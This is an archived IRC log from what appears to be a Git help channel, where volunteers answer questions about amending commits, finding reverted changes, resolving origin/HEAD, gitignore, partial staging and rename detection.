qsuscs	xender: i don’t get queues either, you can have a look at http://mercurial.selenic.com/wiki/MqExtension	21:21
	and that one for hg record http://mercurial.selenic.com/wiki/RecordExtension	21:21
	← mennea left	21:21
	← iamjarvo left	21:22
	← logix812 left	21:22
	← Ankhers left	21:22
	→ mennea joined	21:22
	← jottr_ left	21:22
qsuscs	xender: and this is hg’s “index” http://mercurial.selenic.com/wiki/DirState	21:22
	← lsiv568 left	21:22
	← AKK9 left	21:23
	← zhangxaochen left	21:23
	← tbxyz left	21:23
	→ PinkSpecs joined	21:24
	→ zhangxaochen joined	21:24
	← burhan_ left	21:24
	→ burhan_ joined	21:26
aswen	xender: I had it commited already	21:26
	← RogerWS left	21:26
	→ jottr_ joined	21:26
aswen	not staged for commit	21:26
xender	aswen: Same thing when amending	21:26
	← Pyrogerg left	21:26
aswen	aha now i get it	21:27
	thanks for explanation	21:27
	← xp_prg left	21:27
	← shinnya left	21:27
	← jonmorehouse left	21:28
xender	aswen: If you have working git gui, you can see that in there	21:28
	← revyd left	21:28
	→ ciampix joined	21:28
	← nuck left	21:28
	← palcu left	21:29
xender	If you'll select "amend" option above that text area for commit message on the bottom, you can see how it differently visualizes stuff from previous commit as "added"	21:29
	→ palcu joined	21:29
	→ eMyller joined	21:30
xender	aswen: This is because commits and index are both snapshots, so displaying changes is matter of having both diffed. When you amend, you replace HEAD commit with another one, instead of building new one atop of HEAD, as usual	21:31
	← kevin-brown left	21:31
	→ nuck joined	21:31
	→ kevin-brown joined	21:31
	→ liamkeily joined	21:31
	← mustafavelioglu left	21:31
	→ boombatower joined	21:32
	→ shinnya joined	21:32
	→ asakura joined	21:33
	← LLaurent left	21:33
	← WaReZ left	21:33
	← palcu left	21:33
	→ TheFuzzball joined	21:34
	← buffal0 left	21:34
	→ RogerWS joined	21:35
	← epifanio left	21:35
	→ zumba_addict joined	21:36
	← jottr_ left	21:36
	← iliketurtles left	21:37
	→ epifanio joined	21:38
	← jave left	21:39
	← mhi^ left	21:39
	← neunon left	21:39
	→ jave joined	21:40
	→ mhi^ joined	21:40
	→ neunon joined	21:40
	← zumba_addict left	21:41
	← PinkSpecs left	21:41
	→ zumba_addict joined	21:42
	→ Cork joined	21:43
	→ jottr_ joined	21:43
	→ chrisgeo joined	21:44
	← jerius left	21:45
	← JohnBat26 left	21:46
	← gmb2020 left	21:46
	→ iamjarvo joined	21:46
	→ revyd joined	21:46
	← chrisgeorge left	21:47
	→ jgardella joined	21:48
	← kukks left	21:48
	← zumba_addict left	21:48
	→ zumba_addict joined	21:49
	← ojacobson left	21:50
	→ JohnBat26 joined	21:51
	← mennea left	21:51
	→ JohnBat26\|2 joined	21:52
	← ghostlines left	21:52
	← yosito left	21:52
	→ mennea joined	21:52
	← JohnBat26\|2 left	21:53
	← JohnBat26 left	21:53
	← tranzfuse left	21:53
	→ Stranger joined	21:54
	Stranger → Guest60000	21:54
eMyller	My colleague has made changes in a file X. But then he pulled latest history and his changes are gone. I reviewed the log since his commit many times, but I can't find where his changes were reverted. Can any of you help me, please?	21:55
	→ jonmorehouse joined	21:55
qsuscs	eMyller: man git blame	21:55
gitinfo	eMyller: the git-blame manpage is available at http://jk.gs/git-blame.html	21:55
	→ jiskiras joined	21:56
	← jgardella left	21:56
	→ jgardella joined	21:56
	→ adamonline45 joined	21:56
	← AaronMT left	21:57
eMyller	qsuscs: Thanks, but I don't think blame can help... He added 3 lines, but these 3 lines are now just gone.	21:57
	→ spareproject joined	21:57
	← jgardella left	21:57
	→ jgardella joined	21:58
	→ holydevil joined	21:58
	← jgardella left	21:58
qsuscs	eMyller: how easily can you identify them? like, git log -p in a file and search in it—probably a somewhat dirty hack, but why not …	21:58
	→ jgardella joined	21:59
	← iamtakingiteasy left	21:59
	← mennea left	21:59
	← iamjarvo left	21:59
	← zumba_addict left	21:59
eMyller	qsuscs: I ran git log -p, and the last commit it shows is his (which adds 3 lines). But my tree is now clean, and those 3 lines aren't there. Can you believe it? :/	21:59
	→ ncd\|leeN joined	22:00
	← jargon left	22:00
qsuscs	eMyller: sure it is the commit you are at (git rev-parse HEAD)	22:00
	→ zumba_addict joined	22:00
	← jceb left	22:01
	← treehug88 left	22:01
	← leeN left	22:02
eMyller	qsuscs: Yes. I just found out what happened though.	22:02
	Someone has merged in a new history, reverting his changes.	22:02
	→ parcs joined	22:02
parcs	hallo	22:02
eMyller	But it's weird how git log doesn't show me that.	22:02
	→ toothrot joined	22:03
	← Zupoman left	22:03
adamonline45	Hi all! This may be outside of git itself (I'm in SourceTree), if so, lemme know! Basically, if I start with a line "abcde" and change the line to "racer", git thinks I deleted the letters 'b' and 'd', and appended the two 'r's. Is there a way I can make it think I deleted "abcde" and added "racer"? It's like it's overly preservational...	22:03
	On a larger scale, this makes selective staging a nightmare...	22:03
qsuscs	eMyller: !evil_merge	22:04
gitinfo	eMyller: What you describe _can_ be done, but results in an "evil merge": a commit that purports to be a merge, but does not actually take all changes from all sides. This violates the assumptions that tools and humans make about merges, and usually results in confusion and pain down the road.	22:04
	← pheaver left	22:04
	← King_Hual left	22:04
	← jgardella left	22:04
	→ Padawan joined	22:05
	gitinfo set mode: +v	22:05
	← jonmorehouse left	22:06
parcs	does anybody have an idea on how to have git normalize/resolve the branch "origin/HEAD" to "origin/master" (or to whatever branch HEAD points to in the "origin" remote)?	22:06
	← thedodd left	22:06
	→ justinmburrous joined	22:07
qsuscs	parcs: because origin/HEAD points to origin/master, see e.g. git ls-remote origin HEAD	22:07
parcs	i would like to be able to do "git show origin/HEAD@{1}" but that does not work because origin/HEAD does not have a reflog. so instead i would like to do "git show $(git-resolve origin/HEAD)@1" where git-resolve is the magic invocation	22:07
qsuscs	parcs: whoops—ls-remote goes a step too far	22:07
	← jiskiras left	22:08
	→ Dreadnaught joined	22:08
	← Dreadnaught left	22:08
	→ Dreadnaught joined	22:08
parcs	its output doesn't seem to refer to "master" at all for me	22:08
	← aswen left	22:08
	← a_le_ left	22:09
qsuscs	parcs: git rev-parse --symbolic-full-name origin/HEAD	22:09
	→ a_le joined	22:09
	→ Pyrogerg joined	22:09
	← Guest60000 left	22:10
parcs	qsuscs: awesome, thank you! seems to work perfectly.	22:11
Padawan	hey, I'm pretty new to git and im running into some untracked problems. http://i.imgur.com/deZLx9K.png I can prevent future problems adding those folder under ignore, but how can i fix it right now?	22:11
	← nnyk left	22:11
	← a_le left	22:11
	← EminenceHC left	22:11
	← RogerWS left	22:11
	← stevenvalladolid left	22:12
parcs	qsuscs: passing --symbolic instead of --symbolic-full-name seems to do the trick too. why'd you choose the latter?	22:12
	→ a_le joined	22:12
parcs	oh, never mind. --symbolic actually doesn't work properly.	22:12
osse	Padawan: add them to gitignore right now	22:12
	← Neozonz\|Disc left	22:12
osse	Padawan: but: what is there to fix?	22:13
qsuscs	parcs: less ambuguity, see man git rev-parse	22:13
gitinfo	parcs: the git-rev-parse manpage is available at http://jk.gs/git-rev-parse.html	22:13
	← remington_forbes left	22:13
parcs	yeah i see that now. thanks again qsuscs	22:13
	→ remington_forbes joined	22:14
	← Mobutils left	22:14
	← BlaXpirit left	22:15
	← burhan_ left	22:15
Padawan	osse: i mean this annoying message every time i do a status? Or if i ignore the parents will it vanish?	22:15
	→ EminenceHC joined	22:15
	← mikecmpbll left	22:16
	← fairuz left	22:16
eMyller	Thank you qsuscs. It's all crystal clear now.	22:16
	← frogonwheels_ left	22:16
	← javster left	22:17
osse	Padawan: if you ignore it will vanish	22:17
	← dangerousdave left	22:17
	← eMyller left	22:17
	← adamonline45 left	22:17
	→ mtscout6 joined	22:17
osse	Padawan: you don't even have to commit the ignore file or it to work. Or: you can .git/info/exclude instead of .gitignore	22:17
	*for it to work	22:17
	← hahuang65 left	22:17
Padawan	thanks osse, i gotta have to take a look into both cuz i never ignored anything in my git life yet ,	22:18
	→ Mobutils joined	22:18
Padawan	but im loving my git life so far	22:18
	rofl	22:18
osse	man gitignore is your friend	22:18
gitinfo	the gitignore manpage is available at http://jk.gs/gitignore.html	22:18
	← livingstn left	22:20
	→ afhammad joined	22:20
	← EminenceHC left	22:20
	← hs366 left	22:21
	→ jgardella joined	22:21
	← Mobutils left	22:21
	← ropav left	22:21
	← revyd left	22:21
	← jgardella left	22:22
	→ mikecmpbll joined	22:22
	← asakura left	22:23
	← bAnt left	22:23
	→ liamkeily1 joined	22:23
	← chrisgeo left	22:23
	← chelly left	22:24
	← jottr_ left	22:24
	← zhangxaochen left	22:24
	→ Celm joined	22:24
	← mtscout6 left	22:24
	→ jgardella joined	22:24
	← liamkeily left	22:24
	→ KAJ joined	22:24
	→ zhangxaochen joined	22:24
	← baweaver left	22:25
	← ValicekB left	22:25
	→ asakura joined	22:25
	← ockham left	22:25
	← Padawan left	22:26
	→ KAJ_ joined	22:26
	← a_le left	22:26
	→ sandr8 joined	22:26
	← kermit left	22:27
	→ a_le joined	22:27
	← FofG left	22:27
	→ kermit joined	22:28
	← in_deep_thought left	22:28
	→ sysvalve joined	22:28
	← KAJ left	22:28
	← soulwaves left	22:28
	← msankhala left	22:29
	→ in_deep_thought joined	22:29
	← Cheaterman1 left	22:29
	→ kukks joined	22:30
	← sandr8 left	22:31
	← jgardella left	22:32
	→ baweaver joined	22:32
	← acharlie_ left	22:34
	← Celm left	22:34
	→ refried_ joined	22:34
	← zumba_addict left	22:34
	← thiago left	22:34
	→ P4_Denis joined	22:35
	→ Celm joined	22:36
	← hoijui left	22:36
	← justinmburrous left	22:36
	← axl_ left	22:37
	← ErKa left	22:37
	→ RogerWS joined	22:37
	→ ValicekB joined	22:37
	← KAJ_ left	22:38
	→ jgardella joined	22:38
	← beastd left	22:39
	→ ni__ joined	22:39
	→ TDJACR joined	22:39
	← refried_ left	22:39
	→ Pyrogerg_ joined	22:39
	← P4_Denis left	22:39
	← Pyrogerg left	22:40
	→ gmb2020 joined	22:40
	→ refried_ joined	22:43
	← ColKurtz left	22:44
	← zhangxaochen left	22:44
	← mnavratil left	22:44
	→ zhangxaochen joined	22:45
	→ anaran joined	22:45
	← mikecmpbll left	22:45
	→ ojacobson joined	22:45
	← kriks left	22:46
	← Fabioagain left	22:46
	← veebers left	22:47
	→ veebers joined	22:47
	← kpease left	22:47
	← imkmf left	22:48
	→ iliketurtles joined	22:48
	→ govg joined	22:49
	← kaendfinger left	22:51
	← ni__ left	22:51
	← Manny_ left	22:52
	→ Manny joined	22:52
	→ kaendfinger joined	22:52
	→ Baluse joined	22:53
	→ skinux joined	22:53
	← sdrfnord1 left	22:54
	→ imkmf joined	22:54
	← Skapadapaduu left	22:55
	→ hahuang65 joined	22:56
	← stwalcher left	22:57
	→ ColKurtz joined	22:58
	← desposo left	22:58
	← gmb2020 left	22:58
	← nettoweb left	22:59
	→ stevenvalladolid joined	22:59
	← in_deep_thought left	22:59
	← fling left	23:00
	← ojacobson left	23:02
	← evil-twin left	23:03
	→ desposo joined	23:03
	→ monokrome joined	23:03
	→ Ankhers joined	23:03
	← monokrome left	23:03
	← anaran left	23:03
	← Pyrogerg_ left	23:04
	→ xolubi joined	23:04
	← Marcus___ left	23:04
	← zhangxaochen left	23:04
	→ Marcus_ joined	23:05
	→ msmith joined	23:05
	→ zhangxaochen joined	23:05
LeMike	I do `git reset -- file` to remove a file from staging and `git add -e` to partially add it again. right?	23:06
	→ monokrome joined	23:06
	← monokrome left	23:06
	→ in_deep_thought joined	23:06
	← imkmf left	23:06
	→ neonixcoder joined	23:08
	← Wiz_KeeD left	23:08
	← refried_ left	23:08
	→ monokrome joined	23:08
	← ag4ve left	23:08
	← neonixcoder left	23:09
	← Marcus_ left	23:09
	→ dsdeiz joined	23:09
	→ ErKa joined	23:10
	→ justinmburrous joined	23:11
osse	LeMike: add -p	23:11
	← wakd left	23:11
osse	ohhhh	23:11
	heh, didn't know about add -e	23:11
	I guess it's the same as add -p and then pressing e	23:11
	← robzilla left	23:12
	→ chelly joined	23:12
	← paul424 left	23:12
	→ nerddork69420 joined	23:12
	← skinux left	23:13
	← toothrot left	23:13
	→ neonixcoder joined	23:13
	← Ankhers left	23:14
	← GinoMan left	23:14
	→ akushner_ joined	23:15
	→ skinux joined	23:15
skinux	How can I remove a commit? I accidentally commited locally when I meant to do it remotely.	23:15
osse	skinux: that doesn't make sense. you can only commit locally	23:16
cn28h	remove it like forget it ever happened?	23:16
	← monokrome left	23:16
skinux	Oh, so I have to commit locally in order to put something on a remote git repo?	23:16
osse	yes	23:16
LeMike	hm. after several tries I finaly managed to add only a part of the file :/ thanks osse	23:16
osse	you make a commit and then you push	23:16
	← Robarelli left	23:17
skinux	And 'origin' is changed to the name of the project?	23:18
	→ EminenceHC joined	23:18
	→ FofG joined	23:19
osse	no	23:19
	→ Gamecubic_ joined	23:19
osse	git repos don't have names.	23:19
	'origin' refers to wherever you cloned from. you can rename it if you wish. git doesn't care.	23:19
	'origin' more or less only acts as an alias for the URL to the repo.	23:20
LeMike	gosh I didn't osse. in `git status` is see the file in staging and unstaged so it's half-hacked I gues - ok. but after `git commit` the full change will be commited... grml	23:20
	→ monokrome joined	23:20
osse	LeMike: did you write git commit path/to/file?	23:20
	→ madewokherd joined	23:20
	← xbrantes left	23:21
	← smccarthy left	23:22
	→ mhite joined	23:22
	← Gamecubic left	23:22
	← asakura left	23:23
	← EminenceHC left	23:23
LeMike	osse: yee	23:23
osse	LeMike: i gotta go. the point is this: if you have added something and run git commit, only those things are supposed to be commited. but if you write git commit file(s) then only that file or those files will be committed, in full	23:23
	→ pcypher_ joined	23:23
osse	it's easier to imagine that git commit doesn't accept filenames	23:23
	← ColdKeyboard left	23:24
mhite	When I 'git add' a file, it is detecting it as a rename. I would like it not to -- any idea how to disable this heuristic?	23:24
	→ asakura joined	23:24
LeMike	hm. okay. thanks osse. that's where I did it wrong. simple and dumb mistake	23:25
	← zhangxaochen left	23:25
	← ncd\|leeN left	23:25
osse	mhite: the heuristic is only for presentational purposes. it doesn't matter for the actual repo itself	23:25
	→ x0s_ joined	23:25
	→ zhangxaochen joined	23:25
osse	mhite: try git config diff.renames false	23:26
mhite	osse: i ripped a bunch of code out from a program and threw it into a library, but now it thinks the library is actually a renamed version.	23:26
	← kirin` left	23:26
	← pcypher left	23:27
osse	ok. there are ways to change how git presents that stuff. just know that it doesn't really matter.	23:27
	→ kirin` joined	23:27
osse	git diff by default won't do it, for example. there you have to use --find-renames	23:27
	← afhammad left	23:27
	→ bezet joined	23:27
mhite	osse: interesting. tried the 'git config diff.renames false' but git status still thinks it is a rename	23:28
osse	then i don't know	23:28
	→ afhammad joined	23:28
mhite	thanks for your suggestion	23:28
	→ xabrantes joined	23:29
osse	mhite: git tracks snapshots, not deltas or stuff like that. So when git sees that one file disappeared and then another fiel appeared which is completely simlar, git will in some circumstances call it a "rename" and present it as such.	23:29
	← neonixcoder left	23:29
osse	but that's about it.	23:29
mhite	osse: which is a head scratcher, because part of the same staging is the file it thinks is renamed.	23:30
osse	huh?	23:30
mhite	https://gist.github.com/anonymous/b00c8e6168be1d4b744c	23:30
	← TheFuzzball left	23:30
osse	did you copy it?	23:31
	or: did you copy AND change it?	23:31
	→ ropav joined	23:31
	← xabrantes left	23:31
mhite	osse: dashboard.py contains code that used to be in effivedash.py.	23:31
	← kaendfinger left	23:31
osse	ahh	23:32
	→ xabrantes joined	23:32
osse	my guess: more than 50%	23:32
mhite	osse: changes were then made to effivedash.py to import dashboard.py	23:32
	← bezet left	23:32
mhite	osse: and of course the old code now in dashboard.py was removed from effivedash.py	23:32
osse	git diff --staged will tell you the truth	23:32
	← afhammad left	23:33
mhite	osse: i basically just wanted git to see dashboard.py as a totally new file [which it is, but has contents that used to live in effivedash.py]	23:33
	← thumpba left	23:33
osse	git does see it's a new file. that's what I'm trying to tell you	23:33
	← pcypher_ left	23:33
	← msmith left	23:33
osse	Git is just trying to be "human" and present something as a rename because in most cases it actually is.	23:33
	→ refried_ joined	23:34
mhite	osse: ah, ok! sorry for my confusion. i know enough git to be dangerous, and that's about it.	23:34
	→ pcypher joined	23:34
	← numdig left	23:34
osse	if git status did not say that (maybe there's a way to configure that; or at least there should be) the end result would be the same.	23:34
	"end result" meaning the commit you create once you run git commit	23:35
mhite	ok, sounds good! thank you.	23:35
osse	mhite: but my hat's off to you. I've never seen this precise case before :p	23:36
	→ hexagoxel_ joined	23:36
mhite	osse: i try ;)	23:36
	← liamkeily1 left	23:36
mhite	osse: final question... if git does nothing special with the move information, why is there a git mv command?	23:37
osse	mhite: it's shorthand for git rm && git add	23:37
	← upene left	23:37
osse	it's just there for convenience, I suppose	23:37
	there doesn't really have to be a git rm command either. a regular rm + git add is enough	23:37
	← pcypher left	23:38
mhite	cool, thanks!	23:38
	← ColKurtz left	23:38
Hello71	strictly speaking, rm && git add has a race condition where the file is created again between the calls	23:38
	← hebz0rl left	23:39
	← tmug left	23:39
	← hexagoxel left	23:39
Hello71	and git rm --cached is more work	23:39
	→ mustafavelioglu joined	23:41
osse	mhite: my guess is this: you moved so much code from effivedash.py to dashboard.py that it was above the heuristic threshold thingy (which I believe is 50%). Therefore git says it's a rename (it doesn't think it is). However, what's left of effivedash.py is still present. And it's obviously modified, so...	23:41
	← justinmburrous left	23:41
osse	mhite: maybe there should be some extra logic in git status for that case.	23:41
	→ iamjarvo joined	23:42
	← iamjarvo left	23:42
	→ iamjarvo joined	23:42
	→ robarelli joined	23:42
mhite	osse: yeah, makes sense	23:42
	← iamjarvo left	23:42
	← punchagan left	23:43
	→ iamjarvo joined	23:43
osse	ah well. time for bed.	23:44
	→ fling joined	23:44
osse	that time was two hours ago :/	23:44
	→ neonixcoder joined	23:44
	→ robzilla joined	23:44
	← robarelli left	23:44
	← nardev left	23:44
mhite	thanks again for your help osse	23:45
	← zhangxaochen left	23:45
	← magic left	23:45
	← gfixler left	23:45
	→ zhangxaochen joined	23:46
	→ it0a joined	23:46
	→ braj joined	23:46
	→ magic_ joined	23:47
	→ liamkeily joined	23:47
osse	de nada	23:47
	→ Mixologic joined	23:47
	→ afhammad joined	23:48
	← robzilla left	23:49
	→ gmb2020 joined	23:49
	← afhammad left	23:50
	← x0s_ left	23:51
	← neonixcoder left	23:52
	← knownasilya left	23:53
	← daedeloth left	23:53
	← hahuang65 left	23:53
	→ juvenal joined	23:55
	→ neonixcoder joined	23:55
	→ sgen joined	23:56
	← it0a left	23:58
	← iliketurtles left	23:59
	← sysvalve left	23:59
	← mueslo_ left	23:59

Logs Search ←Prev date Next date→

Channels Documentation